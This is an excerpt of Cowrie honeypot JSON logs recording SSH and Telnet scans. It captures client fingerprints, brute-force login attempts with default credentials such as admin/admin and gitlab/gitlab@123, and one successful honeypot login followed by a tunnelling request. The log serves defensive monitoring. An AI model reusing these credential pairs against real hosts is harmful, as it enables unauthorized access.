{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:39:22.104829Z","src_ip":"58.186.20.143","session":"34c7851069b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":51160,"dst_ip":"10.17.0.5","dst_port":22,"session":"44426bc73d03","protocol":"ssh","message":"New connection: 80.94.92.186:51160 (10.17.0.5:22) [session: 44426bc73d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:39:47.017708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:39:47.153659Z","src_ip":"80.94.92.186","session":"44426bc73d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:39:47.157174Z","src_ip":"80.94.92.186","session":"44426bc73d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr","message":"login attempt [mapr/mapr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:39:48.716489Z","src_ip":"80.94.92.186","session":"44426bc73d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:39:50.033607Z","src_ip":"80.94.92.186","session":"44426bc73d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21538,"dst_ip":"10.17.0.5","dst_port":22,"session":"4625777e6f3f","protocol":"ssh","message":"New connection: 87.251.64.176:21538 (10.17.0.5:22) [session: 4625777e6f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:15.091438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:15.096538Z","src_ip":"87.251.64.176","session":"4625777e6f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:15.193638Z","src_ip":"87.251.64.176","session":"4625777e6f3f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:15.487937Z","src_ip":"87.251.64.176","session":"4625777e6f3f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:15.592376Z","session":"4625777e6f3f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:15.691024Z","src_ip":"87.251.64.176","session":"4625777e6f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:15.790771Z","src_ip":"87.251.64.176","session":"4625777e6f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":52978,"dst_ip":"159.203.135.109","dst_port":22,"session":"238d857f2552","protocol":"ssh","message":"New connection: 101.47.159.125:52978 (159.203.135.109:22) [session: 238d857f2552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:16.963941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:16.969078Z","src_ip":"101.47.159.125","session":"238d857f2552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:17.215220Z","src_ip":"101.47.159.125","session":"238d857f2552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab@123","message":"login attempt [gitlab/gitlab@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:18.231396Z","src_ip":"101.47.159.125","session":"238d857f2552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:19.481097Z","src_ip":"101.47.159.125","session":"238d857f2552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":45588,"dst_ip":"10.17.0.5","dst_port":22,"session":"13a73fda98da","protocol":"ssh","message":"New connection: 160.251.185.39:45588 (10.17.0.5:22) [session: 13a73fda98da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:53.079826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:53.084321Z","src_ip":"160.251.185.39","session":"13a73fda98da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:53.270970Z","src_ip":"160.251.185.39","session":"13a73fda98da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"apache","message":"login attempt [ubuntu/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:54.051594Z","src_ip":"160.251.185.39","session":"13a73fda98da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:40:55.243225Z","src_ip":"160.251.185.39","session":"13a73fda98da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":46592,"dst_ip":"10.17.0.5","dst_port":22,"session":"f10f691d609d","protocol":"ssh","message":"New connection: 58.186.20.143:46592 (10.17.0.5:22) [session: f10f691d609d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:41:13.715624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:41:13.720543Z","src_ip":"58.186.20.143","session":"f10f691d609d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:41:13.963903Z","src_ip":"58.186.20.143","session":"f10f691d609d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user2","message":"login attempt [user1/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:41:14.967287Z","src_ip":"58.186.20.143","session":"f10f691d609d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:41:16.215738Z","src_ip":"58.186.20.143","session":"f10f691d609d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.178.165.51","src_port":54260,"dst_ip":"159.203.135.109","dst_port":23,"session":"521cf64144e2","protocol":"telnet","message":"New connection: 24.178.165.51:54260 (159.203.135.109:23) [session: 521cf64144e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:41:48.717163Z"}
{"eventid":"cowrie.session.closed","duration":0.33271026611328125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:41:49.049582Z","src_ip":"24.178.165.51","session":"521cf64144e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":57350,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0b8dd94265a","protocol":"ssh","message":"New connection: 101.47.159.125:57350 (159.203.135.109:22) [session: f0b8dd94265a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:09.093566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:09.101488Z","src_ip":"101.47.159.125","session":"f0b8dd94265a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:09.347380Z","src_ip":"101.47.159.125","session":"f0b8dd94265a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@123","message":"login attempt [ubuntu/ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:10.362453Z","src_ip":"101.47.159.125","session":"f0b8dd94265a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:11.611515Z","src_ip":"101.47.159.125","session":"f0b8dd94265a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.194.76.237","src_port":39776,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a10d18a963b","protocol":"telnet","message":"New connection: 68.194.76.237:39776 (10.17.0.5:23) [session: 1a10d18a963b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:51.141434Z"}
{"eventid":"cowrie.session.closed","duration":0.004804134368896484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:51.146128Z","src_ip":"68.194.76.237","session":"1a10d18a963b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":48754,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6bbb6de9eee","protocol":"ssh","message":"New connection: 160.251.185.39:48754 (10.17.0.5:22) [session: c6bbb6de9eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:51.704229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:51.708960Z","src_ip":"160.251.185.39","session":"c6bbb6de9eee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:51.882098Z","src_ip":"160.251.185.39","session":"c6bbb6de9eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PASSWD","message":"login attempt [ubuntu/PASSWD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:52.607957Z","src_ip":"160.251.185.39","session":"c6bbb6de9eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:53.784560Z","src_ip":"160.251.185.39","session":"c6bbb6de9eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.194.76.237","src_port":47664,"dst_ip":"10.17.0.5","dst_port":23,"session":"540fd08c4f43","protocol":"telnet","message":"New connection: 68.194.76.237:47664 (10.17.0.5:23) [session: 540fd08c4f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:56.885823Z"}
{"eventid":"cowrie.session.closed","duration":0.00475764274597168,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:42:56.890471Z","src_ip":"68.194.76.237","session":"540fd08c4f43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53854,"dst_ip":"10.17.0.5","dst_port":22,"session":"a919f0325512","protocol":"ssh","message":"New connection: 80.94.92.186:53854 (10.17.0.5:22) [session: a919f0325512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:00.849912Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.194.76.237","src_port":47670,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b3b706833f","protocol":"telnet","message":"New connection: 68.194.76.237:47670 (10.17.0.5:23) [session: b2b3b706833f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:00.897557Z"}
{"eventid":"cowrie.session.closed","duration":0.004544258117675781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:00.901991Z","src_ip":"68.194.76.237","session":"b2b3b706833f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:43:00.914446Z","src_ip":"80.94.92.186","session":"a919f0325512","protocol":"ssh"}
